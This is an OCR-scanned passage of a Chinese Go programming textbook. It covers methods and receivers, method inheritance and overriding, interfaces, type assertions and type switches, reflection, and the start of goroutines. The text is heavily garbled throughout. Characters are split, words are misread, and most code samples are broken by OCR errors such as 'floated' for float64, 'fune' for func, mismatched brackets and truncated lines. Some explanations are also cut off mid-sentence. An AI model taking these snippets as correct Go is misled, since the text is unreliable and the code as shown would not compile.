前 面 两 节 我 们 介绍 了 函数 和 struct， 那 你 是 否 想 过 把 函数 当做 struct 
的 字段 一 样 来 处 理 呢 ? 下 面 我 们 就 讲解 函数 的 另 一 种 形态 ， 带 有 接收 者 
的 函数 ， 我 们 称 为 method。 


method 


假设 有 这 么 一 个 场景 ， 你 定义 了 一 个 struct 叫 做 长 方形 ， 你 现在 想 
要 计算 它 的 面积 ， 那么 按照 我 们 常规 的 思路 应 该 会 用 下 面 的 方式 来 实 
现 。 


package main 
import "fmt" 


type Rectangle struct { 
width, height floated 
} 


func area(r Rectangle) floatéd [ 
return r.width*r.height 
| 


fune main() ( 
rl := Rectangle{12, 2) 
r2 := Rectangle{9, 4) 
fmt.Println ("Area of rl i 
fmt.Println("Area of r2 i 






", area(rl)) 
» area(r2)) 


1 

这 段 代 码 可 以 计算 长 方形 的 面积 ， 但 是 area0 不 是 作为 Rectangle 的 
方法 实现 的 类似 面向 对 象 里 面 的 方法 ) ， 而 是 将 Rectangle 的 对 象 如 
rlr2) 作为 参数 传 入 函数 计算 面积 

这 样 实现 有 问题 ， 但 是 当 需 要 增加 圆 形 、 正 方形 、 五 边 形 其 
至 其 他 多 边 形 的 你 该 如 何 计算 它们 的 面积 ? 只 能 增加 新 的 函数 ， 
但 是 函数 名 就 必须 要 跟着 换 了 ， 变 成 area_rectangle, area_circle, 
area_triangle... 

如 图 2.8 所 示 ， 椭 圆 代表 函数 ， 而 这 些 函 数 并 不 从 属于 struct (或 者 
以 面向 对 象 的 术语 来 说 ， 并 不 属于 class) ， 他 们 是 单独 存在 于 struct 外 
围 ， 而 非 在 概念 上 属于 某 个 struct。 













图 2.8 方法 和 struct 的 关系 图 


很 显然 ， 这 样 的 实现 并 不 优雅 ， 并 且 从 概念 上 来 说 “面积 ”是 “ 形 
状 ” 性 ， 它 属于 这 个 特定 的 形状 ， 就 像 长 方形 的 长 和 宽 一 样 。 
基于 上 述 原因 ， 就 有 了 method 的 概念 ， method 附 属 在 一 个 给 定 的 类 
和 函数 的 声明 语法 几乎 一 样 ， 只 是 在 fonc 后 面 增加 了 一 
个 receiver 《也 就 是 method 所 依从 的 主体 ) . 
用 上 述 形状 的 例子 来 说 ，method area0) 是 依赖 于 某 个 形状 (比如 说 








Rectangle) 来 发 生 作用 的 。Rectangle.area() 的 发 出 者 是 Rectangle，area() 
是 属于 Rectangle 的 方法 ， 而 非 一 个 外 围 函数 。 

更 具体 地 说 ，Rectangle 存 在 字段 length 和 width， 同 时 存在 方法 
area()， 这 些 字段 和 方法 都 属于 Rectangle。 

用 Rob Pike 的 话 来 说 就 是 :“A method is a function with an implicit 
first argument,called a receiver. ” 

method 的 语法 如 下 。 

func (r ReceiverType) funcName (parameters) (results) 

下 面 我 们 将 最 开始 的 例子 用 method 来 实现 。 

package main 

import ( 





type Rectangle struct { 
width, height float64 
} 


type Circle struct { 
radius floated 
) 


func (x Rectangle) area() floated { 
return r.width*r.height 
} 


func (c Circle) area() float64 { 
return c.radius * c.radius * math.Pi 
} 


func main) ( 
ri ectangle{12, 2} 





12 ectangle{9, 4) 
cl ircle{10} 
c2 := Circle{25) 


fmt.Println("area of 
fmt -Println ("Rrea of 
fmt -Println ("Rrea of 
fmt.Println("Area of 


使 用 method 的 时 候 重要 注意 以 下 几 点 。 


。 虽然 method 的 名 字 一 模 一 样 ， 但 是 如 果 接 收 者 不 一 样 ， 那 么 
method 就 不 一 样 。 


rl.area()) 
r2.area()) 
cl.area()) 
c2.area()) 





。 method 里 面 可 以 访问 接收 者 的 字 
o 调用 method 通 过 访问 ， pra 面 访问 字段 一 样 。 
不 同 struct 的 method 如 图 2.9 所 示 。 


ircle 








radius 





























! float64 | 


kasvaa! 


图 2.9 不 同 struct 的 method 不 同 


上 例 中 ，method area() 分 别 属于 Rectangle 和 Circle， 于 是 它们 的 
Receiver 就 变 成 了 Rectangle 和 Circle， 或 者 说 ， 这 个 area() 方 法 由 
Rectangle/Circle 发 出 。 


HE: 值得 说 明 的 一 点 是 ， 图 2.9 中 method 用 虚线 标 出 ， 意 思 是 此 处 
方法 的 Receiver 是 以 值 传递 ， 而 非 引用 传递 ， 是 的 ，Receiver 还 可 以 是 指 
针 ， 两 者 的 差别 在 于 ， 指 针 作 为 Receiver 会 对 实例 对 象 的 内 容 发 生 操 
作 ， 而 普通 类 型 作为 Receiver 仅 仅 是 以 副本 作为 操作 对 象 ， 并 不 对 原 实 
例 对 象 发 生 操 作 。 本 书后 面 内 容 对 此 会 有 详细 论述 


method 是 否 只 能 作用 在 struct 上 面 呢 ? 当然 不 是 ， 它 可 以 定义 在 任 
何 你 自 定义 的 类 型 、 内 置 类 型 、struct 等 各 种 类 型 上 面 。 什 么 叫 自 定义 
类 型 ? 自 定义 类 型 不 就 是 struct? 不 是 这 样 的 ，struct 只 是 自 定义 类 型 里 
面 一 种 比较 特殊 的 类 型 而 已 ， 还 有 其 他 自 定义 类 型 申明 ， 可 以 通过 如 下 
这 样 的 申明 来 实现 。 

type typeName typeLite. 


ral 
请 看 下 面 这 个 申明 自 定义 类 型 的 代码 。 








type ages int 
type money float32 
type months map(string]int 
m := months { 
“January":31, 
“February":28, 
"December" :31, 
} 
看 到 了 吗 ? 很 简单 ， 这 样 你 就 可 以 在 自己 的 代码 里 面 定义 有 意义 的 


类 型 ， 实 际 上 只 是 定义 了 一 个 别名 ， 类 似 于 C 语 言 中 的 typedef， 例 如 上 
面 ages 蔡 代 了 int。 


让 我 们 回 到 method， 你 可 以 在 任何 的 自 定义 类 型 中 定义 作 
method， 接 下 来 让 我 们 看 一 个 复杂 点 的 例子 。 





多 的 








(bl BoxList) BaintItBlack() { 
for i, range bl { 










[string ("WHITE", "BLACK", "B 
gs tel 





"RED", "YELLOW" } 





main() 


boxes := BoxList { 
Box{4, 4, 4, RED], 
Box{10, 10, 1, YELLOW), 
Box{1, 1, 20, BLACK}, 
Box{10, 10, 1, BLUE}, 
1, WHITE}, 


Box{10, 
Box{20, 








"oms" 





此 .ErinclnfwThe color of the last one is",boxes[len{(boxes)-1]. 
color.String()) 


Emt .Println("The biggest one is", boxes.BiggestsColor() .String()) 





t.Println|"Let's paint them all black") 
boxes. PaintItBlack() 


emt .Print1n[{"The color of the second one is", boxes [1] .color.S 





ring(}) 


fmt .Print1n("Obviously, now, the biggest 
0 .string(}) 


上 面 的 代码 通过 const 定 义 了 一 些 常量 ， 





e is", boxes.BiggestsColor 





后 定义 了 一 些 自 定义 类 


Color 作 为 byte 的 别名 。 


定义 了 一 个 structBox， 含 有 三 个 长 宽 高 字段 和 一 个 颜色 属性 。 
定义 了 一 个 slice:BoxList， 含 有 Box。 





Volume0 定 义 了 接收 者 为 Box， 返 回 Box 的 容量 。 
SetColor(c Color)， 把 Box 的 颜色 改 为 c。 
BiggestsColor(0) 定 在 在 BoxList 上 面 ， 返 回 list 里 面容 量 最 大 的 颜 





”PaintItBlack() 把 BoxList 里 面 所 有 Box 的 颜色 全 部 变 成 黑色 。 


© String0 定 义 在 Color 上 面 ， 返 回 Color 的 具体 颜色 〈 字 符 串 格 


式 ) 。 

上 面 的 代码 M ee ee 单 ? 我 们 一 般 解决 问 
题 都 是 通过 问题 的 描述 ， 去 写 相应 的 代码 实现 。 

指针 作为 receiver 


现在 让 我 们 回 过 头 来 看 看 SetColor 这 个 method， 它 的 receiver 是 一 
指向 Box 的 指针 ， 是 的 ， 你 可 以 使 用 *Box。 想 想 为 啥 要 使 用 指针 而 不 是 
Box 本 身 呢 ? 
我 们 定义 SetColor 的 真正 目的 是 想 改变 这 个 Box 的 颜色 ， 如 果 不 传 
Box 的 指针 ， 那 么 SetColor 接 受 的 其 实 是 Box 的 一 个 copy， 也 就 是 说 ， 
method 中 对 于 颜色 值 的 修改 ， 其 实 只 作用 于 Box 的 copy， 而 不 是 真正 的 
Box。 所 以 我 们 需要 传 入 指针 。 

这 里 可 以 把 receiver 当 作 method 的 第 一 个 参数 来 看 ， 然 后 结合 前 面 
函数 讲解 的 传 值 和 传 引用 就 不 难 理解 。 

你 也 许 会 问 SetColor 函 数 里 面 应 该 这 样 定义 *b.Color=c， 而 不 是 
b.Color=c， 因 为 我 们 需要 读 取 到 指针 相应 的 值 。 

你 是 对 的 ， 其 实 Go 语 言 里 面 这 两 种 方式 都 是 正确 的 ， 当 你 用 指针 
去 访问 相应 的 字段 时 (虽然 指针 没有 任何 的 字段 ，，Go 语 言 知 道 你 要 
通过 指针 去 获取 这 个 值 ， 看 到 了 吧 ，Go 语 言 的 设计 是 不 是 越 来 越 吸引 


你 了 。 

也 许 细心 的 读者 会 问 这 样 的 问题 ，PaintItBlack 里 面 调用 SetColor 的 
时 候 是 不 是 应 该 写成 (&bl[i).SetColor(BLACK)， 因 为 SetColor 的 receiver 
是 *+Box， 而 不 是 Box。 

你 又 对 了 ， 这 两 种 方式 都 可 以 ， 因 为 Go 语言 知道 receiver 是 指针 ， 
它 自动 帮 你 转 了 。 也 就 是 说 ， 如 果 一 个 method 的 receiver 是 *T， 你 可 以 
在 一 个 T 类 型 的 实例 变量 V 上 面 调用 这 个 method， 而 不 需要 &V 去 调用 这 
个 method。 类 似 的 ， 如 果 一 个 method 的 receiver 是 T， 你 可 以 在 一 个 *T 类 
型 的 变量 P 上 面 调用 这 个 method， 而 不 需要 *P 去 调用 这 个 method。 

所 以 ， 不 用 担心 你 调用 的 是 不 见 指针 的 method，Go 语 言 知道 你 要 
做 的 一 切 ， 这 对 于 有 多 年 C/C++ 编程 经 验 的 同学 来 说 ， 真 是 解决 了 一 
很 痛苦 问题 。 

method 继 承 

我 们 学 习 了 字段 的 继承 之 后 ， 还 会 发 现 Go 语言 的 一 个 神奇 之 处 ， 
即 method 也 是 可 以 继承 的 。 如 果 匿 名 字段 实现 了 一 aha 那么 包含 
这 个 匿名 字段 的 struct 也 能 调用 该 method。 让 我 们 来 看 下 面 这 个 例子 。 














package main 
import "fmt" 


type Human struct { 
name string 
age int 
phone string 





} 


type Student struct { 
Human // 匿 名 字段 


school string 





} 


type Employee struct { 
Human //B& $B 
company string 

} 


/1 在 human 上 面 定 义 了 一 个 method 
func (h *Human) SayHi() { 

fmt.Printf("Hi, I am łs you can call me on s\n", h.name, h.phone) 
} 





func main() 
mark 
gam : 






dent {Human{"Mark", 25, ™: YYYY"; "MIT") 
Employee{Human{"sam", 45, "111-888-xxxx"), "Golang Inc") 


mark. SayHi() 
sam. Sayli () 


method 重 写 

上 面 的 例子 中 ， 如 果 Emplyee 想 要 实现 自己 的 SayHi， 怎 么 办 ? 这 和 
匿名 字段 冲突 一 样 的 道理 ， 我 们 可 以 在 Emplyee 上 面 定 义 一 个 method， 
重 写 了 匿名 字段 的 方法 。 请 看 下 面 的 例子 。 


package main 
import "fmt" 


type Human struct { 
name string 
age int 
phone string 

) 


type Student struct { 
Human // #6 


school string 


Employee struct { 
an // BT 


mpany string 











/(auman 定义 method 
func (h *Human) SayHi() { 


Emt .Printf ("Hi, I am łs you can call me on %s\n", h.name, h.phone) 





} 





7/Bmployee fi] meth 
func (e *Employee} = 
Emt .Printf{"Hi, I am %s, I work at %s. Call me on s\n", e 
e.company, e.phone) //Yes you can split into 2 lines here. 









} 


func main() { 
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} 
sam ployee{Human{"Sam", 45, "111-888-xxxx"}, "Golang I 









mark. SayHi() 
sam. Say#i () 


} 
这 段 代码 设计 得 如 此 美妙 ， 让 人 不 自觉 地 为 Go 语言 的 设计 惊叹 ! 
通过 这 些 内 容 ， 我 们 可 以 设计 出 基本 的 面向 对 象 的 程序 ， 但 是 Go 
语言 的 面向 对 象 非常 简单 ， 没 有 任何 的 私有 、 公 有 关键 字 ， 通 过 大 小 写 
KEA (大 写 开 头 的 为 共有 ， 小 写 开头 的 为 科 有 ) ， 方 法 也 同样 适用 这 
个 原则 。 














2.6 interface 


interface 


Go 语言 里 面 设计 最 精妙 的 是 interface， 它 让 面向 对 象 ， 内 容 组 织 的 
实现 非常 方便 ， 当 你 看 完 这 一 节 ， 就 会 被 interface 的 巧妙 设计 所 折服 。 

什么 是 interface 

简单 地 说 ，interface 是 一 组 method 的 组 合 ， 我 们 通过 interface 来 定义 
对 象 的 一 组 行为 。 

前 面 一 节 最 后 一 个 例子 中 Student 和 Employee 都 能 Sayhi， 虽 然 他 们 
的 内 部 实现 不 一 样 ， 但 是 那 不 重要 ， 重 要 的 是 他 们 都 能 say hi. 

让 我 们 继续 做 更 多 的 扩展 ，Student 和 Employee 实 现 另 一 个 方法 
Student 实 现 方法 BorrowMoney， 而 Employee 实 现 





Employee 实 现 了 Sayhi、Sing、SpendSalary。 

上 述 方法 的 组 合 称 为 interface〈 被 对 象 Student 和 Employee 实 现 ) 。 
例如 Student 和 Employee 都 实现 了 interface: Sayhi 和 Sing， 也 就 是 这 两 个 
对 象 是 该 interface 类 型 。 而 Employee 没 有 实现 这 个 interface: Sayhi、Sing 
和 BorrowMoney， 因 为 Employee 没 有 实现 BorrowMoney 这 个 方法 。 

interface 类 型 

interface 类 型 定义 了 一 组 方法 ， 如 果 某 个 对 象 实现 了 某 个 接口 的 所 
有 方法 ， 则 此 对 象 就 实现 了 此 接口 。 详 细 的 语法 参考 下 面 这 个 例子 。 


type Human struct { 
name string 
age int 
phone string 

} 


type Student struct { 
Human /7 匿名 字段 Human 
school string 
loan floar32 

) 


type Employee struct { 
Human /匿名 字段 Human 
company string 
money float32 

} 


/(duman 对 象 实现 Sayhi 方法 
func (h *Human) sayHi () 

Emt .Frintf ("Hi, I am 
} 


/¢ Human 对 象 实现 sing 方法 
func (h *Human) 

fmt.Println("La la, Li 
} 


/ (Human 对 象 实现 cuzzle 方法 


{ 
$5 you can call me on $s\n", 


Sing(lyrics string) { 


a la la, la la la la la. 





fune (h *Human) Guzzle(beerStein string) { 


fmt.Printin("Guzzle Guzzle Guzzle. 


, beerstein) 





h.name, 


lyrics) 


h.-phone) 


// Enployse Tit suman 的 sayhi 方法 
func (e *Employee) SayHi() { 
fmt.Printf("Hi, I am %s, I k at s. Call me ol \n", €.name, 
€.company, e.phone) //¥es you can split into 2 lines here. 





} 


/ (student 实现 BorrowMoney 方法 

func (s *Student) BorrowMonsy (amount float32) { 
s.loan += amount // (again and again and...) 

} 


/ (employe! 
func (e *Em 

e.money 
i 






unt Float32) { 
a please!!! Get me through the day! 





/7 定义 inte: 
type Men int 
SayHi() 

Sing (lyrics string) 
Guzzle(beerstein string) 
} 








type YoungChap interface { 
Sayi () 
Sing(song string) 
BorrowMoney (amount float32 
} 


type ElderlyGent interface { 
Sayi () 
Sing(song string) 
SpendSalary(amount float32) 


“通过 上 面 的 代码 我 们 可 以 知道 ，interface 可 以 被 任意 的 对 象 实现 。 
我 们 看 到 上 面 的 Men interface 被 Human、Student 和 Employee 实 现 。 同 
理 ， 一 个 对 象 可 以 实现 任意 多 个 interface， 例 如 上 面 的 Student 实 现 了 
Men 和 YonggChap 两 个 interface。 

最 后 ， 任 意 的 类 型 都 实现 了 空 interface (我 们 这 样 定义 : 
interface{}) ， 也 就 是 包含 0 个 method 的 interface。 

interface 值 

那么 interface 里 面 到 底 能 存 什么 值 呢 ? 如 果 我 们 定义 了 一 个 interface 
的 变量 ， 那 么 这 个 变量 里 面 可 以 存储 实现 这 个 interface 的 任意 类 型 的 对 
象 。 例 如 上 面 例子 中 ， 我 们 定义 了 一 个 Men interface 类 型 的 变量 m， 那 
么 m 里 面 可 以 存储 Human、Student 或 者 Employee 值 。 











因为 m 能 够 持 有 这 三 种 类 型 的 对 象 ， 所 以 我 们 可 以 定义 一 个 包含 
Men 类 型 元 素 的 slice， 这 个 slice 可 以 被 赋予 实现 了 Men 接 口 的 任意 结构 
的 对 象 ， 这 个 和 我 们 传统 意义 上 面 的 slice 有 所 不 同 。 
让 我 们 来 看 看 下 面 这 个 例子 。 
package main 
import "fnt" 


type Human struct { 
name string 
age int 
phone string 


type Student struct { 
Human // [4B 
school string 
loan float32 


type Employee struct { 
Human /7 匿名 字段 
company string 
money float32 

i 


[i Human 实现 Sayhi 方法 
func (h Human) sayHi() { 


fmt.Printf("Hi, I am $5 you can call me on s\n", h.name, h-phone) 





1/Human 实现 Sing 方法 
func (h Human) Sing(lyrics string) { 
fmt .PrintIn("La la la la...", lyrics) 


//Employee 重 载 Human 的 SayYHi 方法 
func (e Employee) SayHi(} { 
fmt .Printf ("Hi, I am %s, I work at %s. Call me on %=\n", e.name, 
€.company, ¢.phone) //Yes you can split into 2 lines here. 





Sayli () 


Sing(lyrics string) 





func main() { 

Student {Human{"Mike", 25, 2-222-XXX"}, "MIT", 0.00} 
Student (Human{"Paul", 26, "111 XXX"}, "Harvard", 100} 
Employee {Human{ "Sam", 36, "444-222-xxx"), "Golang Inc.", 1000} 
EmployeeiHuman{"Sam", 36, "444-222-XXX"}), "Things Ltd.", 5000} 

















/1 定义 Mei 
var i Men 


类 型 的 变 最 


7/ 能 存储 Student 

i = mike 

fmt.Printin ("this is Mike, a Student 
i.sayHi() 

i,Sing ("November rain") 





7/3 也 能 存储 Employee 

i = Tom 

fmt.PrintIn("This is Tom, an Bmployee:") 
i.SayHi() 

i.sing("Born to be wild") 


/7 定义 了 slice Men 

fmt.Printin("Let's use a slice of Men and see what happens") 
x := make([]Men, 3) 

A/T 这 三 个 都 是 不 同 美 型 的 元 素 ， 但 是 他 们 实现 了 interface 同一 个 接口 
x0], x[1], x12] = paul, sam, mike 





for , value := range xf 
value. Say#i () 


J 
通过 上 面 的 代码 ， 你 会 发 现 interface 就 是 一 组 抽象 方法 的 集合 ， 必 
须 由 其 他 非 interface 类 型 实现 ， 而 不 能 自我 实现 ，Go 语 言 通过 interface 
实现 了 duckctyping:， 即 “ 当 看 到 一 只 鸟 走 起 来 像 鸭 子 、 游 泳 起 来 像 鸭 


子 、 叫 起 来 也 像 鸭 子 ， 那 么 这 只 鸟 就 可 以 被 称 为 鸭子 。” 

空 interface 

空 interface(interface{}) 不 包含 任何 的 method， 正 因为 如 此 ， 所 有 的 
类 型 都 实现 了 空 interface。 空 interface 对 于 描述 起 不 到 任何 的 作用 (因为 
它 不 包含 任何 的 method) ， 但 是 空 interface 在 我 们 需要 存储 任意 类 型 的 
数值 时 相当 有 用 ， 因 为 它 可 以 存储 任意 类 型 的 数值 ， 有 点 类 似 于 C 语 言 
的 void* 类 型 。 

df 定义 a 为 空 接口 

var a interface{) 

var i int = 5 

s i= “Hello world" 


77 a 可 以 存储 任意 类 型 的 数值 





一 个 函数 把 interface{} 作 为 参数 ， 那 么 它 可 以 接受 任意 类 型 的 值 作 
tee 如 果 一 个 函数 返回 interface{}， 就 可 以 返回 任意 类 型 的 值 。 非 
常 有 用 ! 

interface 函 数 参数 

interface 的 变量 可 以 持 有 任意 实现 该 interface 类 型 的 对 象 ， 这 给 我 们 
编写 函数 〈 包 括 method) 提供 了 一 些 额外 的 思考 ， 我 们 是 否 可 以 通过 定 
义 interface 参 数 ， 让 函数 接受 各 种 类 型 的 参数 。 

举 个 例子 ，fmt.Printin 是 我 们 常用 的 一 个 函数 ， 但 是 你 是 否 注意 到 
a eRe 打开 fmt 的 源码 文件 ， 你 会 看 到 这 样 一 个 
定义 。 

type Stringer interface { 

string) string 


也 就 是 说 ， 任 何 实现 了 String 方 法 的 类 型 都 能 作为 参数 被 fmt Printin 
调用 ， 让 我 们 来 试 一 试 。 





package main 

import ( 
“fmt” 
"strconv" 


) 


type Human struct { 
name string 
age int 
phone string 

} 


J) 通过 这 个 方法 Human 实现 了 fmc.stringer 
func (h Human) String() string ( 

return " "+h,name+" ~ "+strconv.Itoa(h.age)+" years- © "+h.phone+" " 
} 


func main() ( 
Bob := Human{"Bob", 39, "000-7777-xxx"} 
fmt.Print1n("This Human is : ", Bob) 


) 
现在 我 们 再 回顾 一 下 前 面 的 Box 示 例 ， 你 会 发 现 Color 结 构 也 定义 了 
一 个 method: String。 其 实 这 也 是 实现 了 fmt.Stringer 这 个 interface， 即 如 
果 需 要 某 个 类 型 能 被 fmt 包 以 特殊 的 格式 输出 ， 你 就 必须 实现 Stringer 这 
个 接口 。 如 果 没 有 实现 这 个 接口 ，fmt 将 以 默认 的 方式 输出 。 
/7 实现 同样 的 功能 
fmt.Println("The biggest one is", boxes.BigyestsColor() .string()) 
fmt.Println ("The biggest one is", boxes.Biggestscolor()) 


注 : 实现 了 error 接 口 的 对 象 ( 即 实现 了 Error() string 的 对 象 ) ， 使 
用 fmt 输 出 时 ， 会 调用 Error0) 方 法 ， 因 此 不 必 再 定义 String0 方 法 了 。 


interface 变 量 存 储 的 类 型 

我 们 知道 interface 的 变量 里 面 可 以 存储 任意 类 型 的 数值 (该 类 型 实 
现 了 interface) 。 那 么 我 们 怎么 反 向 知道 这 个 变量 里 面 实 际 保存 的 是 哪 
个 类 型 的 对 象 呢 ? 目前 常用 的 有 两 种 方法 。 

。 Comma-ok 上 断言 

Go 语言 里 面 有 一 个 语法 ， 可 以 直接 判断 是 否 是 该 类 型 的 变量 : 
value, ok = element.(T)， 这 里 value 就 是 变量 的 值 ，ok 是 一 个 bool 类 型 ， 
element 是 interface 变 量 ，T 是 断言 的 类 型 。 

如 果 element 里 面 确实 存储 了 T 类 型 的 数值 ， 那 么 ok 返回 true， 否 则 
返回 false。 

让 我 们 通过 一 个 例子 更 加 深入 地 理解 。 


package main 


import ( 
"fmt" 
"strconv" 
) 


type Element interface{} 
type List [] Element 


type Person struct { 
name string 
age int 

} 








/1 定义 了 String 方法 ,实现 了 fmt stringer 
func (p Person) srring() string { 
return " (name: " + p.name +" ~ age: "tstrconv. toalp.age)+ " years)" 


} 





func ma: { 
list := make (List, 3) 
list{0] = 1 // an int 
1ist[1] ello" // a string 
list[2] = Person{"Dennis", 70) 











for index, elene 
if value, ok 





t := range list { 
element. (int); ok { 























fmt .Print£("list[%d] is an int and its value is $d\n", index, 
value) 
j else if value, ok := element. (string); ok { 
fmt.Printf("Llist[#d] is a string and its value is #2\n", in 
value) 
if value, ok := element. (Pi i ok ( 
printf ("list[#d] is a Person and its value is łs\n", index, 
value) 


t 
.Printlnt"list[sd] is of a different type", index) 





} 


} 

是 不 是 很 简单 ? 你 是 否 注 意 到 了 多 个 ifs， 前 面 介绍 流程 里 面 讲 过 ， 
过 里 面 允许 初始 化 变量 。 

也 许 你 注意 到 了 ， 我 们 断言 的 类 型 越 多 ， 那 么 ifelse 也 就 越 多 ， 所 以 
才 引 出 了 下 面 要 介绍 的 switch。 

e switch 测试 

最 好 的 讲解 就 是 代码 例子 ， 现 在 让 我 们 重 写 上 面 的 这 个 实现 。 


package main 


import ( 
eae 
wstrconvn 


type Element interface!) 
type List [] Blement 


type Person struct { 
name string 

















age int 
even 
func (p Person) String() string { 
return "(name: " + p.name +" - age: “+strconv.1toa(p.age)+ " years)" 
> 
func maint) { 
list := make(List, 3) 
List (0] = 1 //an int 
list{1] = "Hello" //a string 
list [2] = Person("Dennis", 70} 
for index, element := range 1ist{ 
switch value := element. (type) ( 
case int: 
Emt Printé ("List [4d] isan int and its value is 4d\n", index, 
value) 


case string: 
fmt.Print£("list[%d] is a string and its value is %s\n", 





index, value) 
case Pers 
fmt .Print£("listi%d] is a Person and its value is %s\n", 





index, value) 
defaul! 
fmt.Printin("list [td] is of a different type", index) 





} 
} 


} 

这 里 有 一 点 需要 强调 的 是 ，element.(type) 语 法 不 能 在 switch 外 的 任 
何 逻 辑 里 面 使 用 ， 如 果 你 要 在 switch 外 面 判 断 一 个 类 型 就 使 用 comma- 
ok. 





i A interface 


Go 语言 里 面 真正 吸引 人 的 是 其 内 置 的 逻辑 语法 ， 就 像 我 们 在 学 习 
Struct 时 学 的 匿名 字段 ， 非 常 优雅 ， 那 么 相同 的 逻辑 引入 到 interface 里 
面 ， 岂 不 更 加 完美 。 如 果 一 个 interfacel 作 为 interface2 的 一 个 嵌入 字段 ， 
那么 interface2 隐 式 的 包含 了 interfacel 里 面 的 method。 
我 们 看 到 源码 包 container/heap 里 面 有 这 样 的 一 个 定义 。 
type Interface interface ( 
sort, Interface //IKA$B sort Interface 
Push(x interface{}) //a Push method to push elements into the heap 
Bop() interface(} //a Bop elements that pops elements from the heap 


} 
sort.Interface 其 实 就 是 嵌入 字段 ， 把 sortInterface 的 所 有 method 隐 式 
包含 进来 了 ， 也 就 是 下 面 三 个 方法 。 
type Interface interface { 
// Len is the number of elements in the collection. 
Len() int 
// Less returns whether the element with index i should sort 
// before the element with index j. 
Less(i, j int) bool 
7/ Swap swaps the elements with indexes i and j. 





Swap(i, j int) 


} 

另 一 个 例子 就 是 io 包 下 面 的 io.ReadWriter ， 它 包含 了 io 包 下 面 的 
Reader 和 Writer 两 个 interface。 

// io.reaamriter 

type ReadWriter interface { 

Reader 
writer 

] 

反射 
Go 语言 实现 了 反射 ， 所 谓 反 射 就 是 动态 运行 时 的 状态 。 我 们 一 般 
用 到 的 包 是 reflect 包 。 如 何 运用 reflect 包 ， 官 方 的 一 篇 文章 详细 讲解 了 
reflect 包 的 实现 原理 ，《Laws of reflection》， 
http://golang.org/doc/articles/laws_of_reflection.html。 

使 用 reflect 一 般 分 成 三 步 ， 要 去 反射 是 一 个 类 型 的 值 ( 这 些 值 都 实 
现 了 空 interface) ， 首 先 需 要 把 它 转化 成 reflect 对 象 reflect.Type 或 者 
reflect.Value， 根 据 不 同 的 情况 调用 不 同 的 函数 ) 。 这 两 种 获取 方式 如 
Ea 

t := reflect. Type0f (i} /7 得 到 类 型 的 元 数据 ,通过 t 我 们 能 获取 类 型 定义 里 面 的 所 有 

素 

ee reflect. Value0f (i) 7/ 得 到 实际 的 值 ， 通 过 v 我 们 获取 存储 在 里 面 的 值 ， 还 可 以 
i 
转化 为 reflect 对 象 之 后 我 们 就 可 以 进行 一 些 操作 了 ， 也 就 是 将 reflect 





对 象 转化 成 相应 的 值 ， 如 下 所 示 。 

tag := t.Elem().Field(0).tag // 获 取 定 义 在 struct 里 面 的 标签 

name := VElem() :Field(0) .String{) // 获 取 存 储存 第 一 个 字段 里 而 的 值 

获取 反射 值 能 返回 相应 的 类 型 和 数值 。 

var x floatéd ~ 3.4 

v := reflect.ValueOf (x) 

fmt.Printl "s v-Type()) 
float64:", v.Kind() == reflect.Float64) 
f v,Float ()) 2 

最 后 ， 层 里 的 字段 必 项 是 可 修 的 ， 我 们 前 面 学 习 过 传 值 和 传 引 
用 ， 这 个 里 也 是 一 样 的 道理 ， 反 射 的 字段 必须 是 可 读 写 的 意思 ， 如 果 写 
成 下 面 这 样 ， 就 会 发 生 错误 。 

var x floatéd = 3.4 

v i= reflect. Vee 








v.SetFloat (7 
ORRA, 
var x float64 = 3.4 

p := reflect. Value0f (4x) 
v := p.Elem() 
v.SetFloat (7.1) 


a 4 是 对 反射 的 简单 介绍 ， 更 深入 的 理解 还 需要 读者 在 编程 中 不 
断 实 





好 成 下 面 这 样 。 


2.7 并 发 


有 人 把 Go 语言 比 作 21 世 纪 的 C 语 言 ， 首 先是 因为 Go 语言 设计 简单 ， 
其 次 ，21 世 纪 最 重要 的 程序 特点 就 是 并 行程 序 设 计 ， 而 GO 从 语言 层面 
就 支持 了 并 行 。 





goroutine 


goroutine 是 Go 语言 并 行 设计 的 核心 。goroutine 说 到 底 就 是 线程 ， 但 
是 它 比 线程 更 小 ， 十 几 个 goroutine 可 能 体现 在 底层 就 是 五 六 个 线程 ，Go 
语言 内 部 帮 你 实现 了 这 些 goroutine 之 间 的 内 存 共享 。 执 行 goroutine 只 需 
极 少 的 栈 内 存 〈 大 概 是 4 一 5KB) ， 当 然 会 根据 相应 的 数据 伸缩 。 也 正 
因为 如 此 ， 可 同时 运行 成 千 上 万 个 并 发 任务 。goroutine 比 thread 更 易 
用 、 更 高 效 、 更 轻便 

goroutine 是 通过 Goi 言 runtime 管 理 的 一 个 线程 管理 器 。goroutine 通 
过 go 关键 字 实 现 了 ， 其 实 就 是 一 个 普通 的 函数 。 











go hello(a,, b 


package main 





c) 





import { 
"fmt" 
"runtime" 


) 


func say(s s 












输出 : 

hello 
world 
hello 
world 
hello 
world 
hello 
world 


就 启动 了 一 个 goroutine 


。 我 们 来 看 一 个 例子 。 


1a") // 开 一 个 新 的 Goroutines 执行 
/1 当前 Goroutines 执 





发 补 可 以 看 到 go 关键 字 很 方便 地 实现 了 并 发 编程 。 上 面 多 个 





goroutine: 
循 : 不 要 通过 





在 同一 个 进程 里 面 ， 共 享 内 存 数据 ， 不 过 设计 上 我 们 要 遵 
共享 来 通信 ， 而 要 通过 通信 来 共享 。 





runtime.Gosched0) 表 示 让 CPU 把 时 间 片 让 给 别人 ， 下 次 某 个 时 候 继 


续 恢 复 执行 该 goroutine。 


默认 情况 下 ， 调 度 器 仅 使 用 单线 程 ， 也 就 是 说 只 实现 了 并 发 。 想 要 
发 挥 多 核 处 理 器 的 并 行 ， 需 要 在 我 们 的 程序 中 显示 调用 
runtime.GOMAXPROCS(n) 告 诉 调度 器 同时 使 用 多 个 线程 。 


GOMAXPROCS 设 置 了 同时 运行 逻辑 


回 之 前 的 设置 。 如 果 n < 1， 不 会 改变 






的 系统 线程 的 最 大 数量 ， 并 返 
当前 设置 。 以 后 Go 语言 的 新 版 本 


中 调度 得 到 改进 后 ， 这 将 被 移 除 。 可 参考 这 篇 robz 介 绍 的 关于 并 发 和 并 


行 的 文章 : 


http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide. 


channels 


goroutine 运 行 在 相同 的 地 址 空间 ， 因 此 访问 共享 内 存 必须 做 好 同 
步 。goroutine 之 间 如 何 进行 数据 的 通信 ? Go 语言 提供 了 一 个 很 好 的 通信 
机 制 channel。channel 可 以 与 Unix shell 中 的 双向 管道 做 类 比 ， 通 过 它 发 
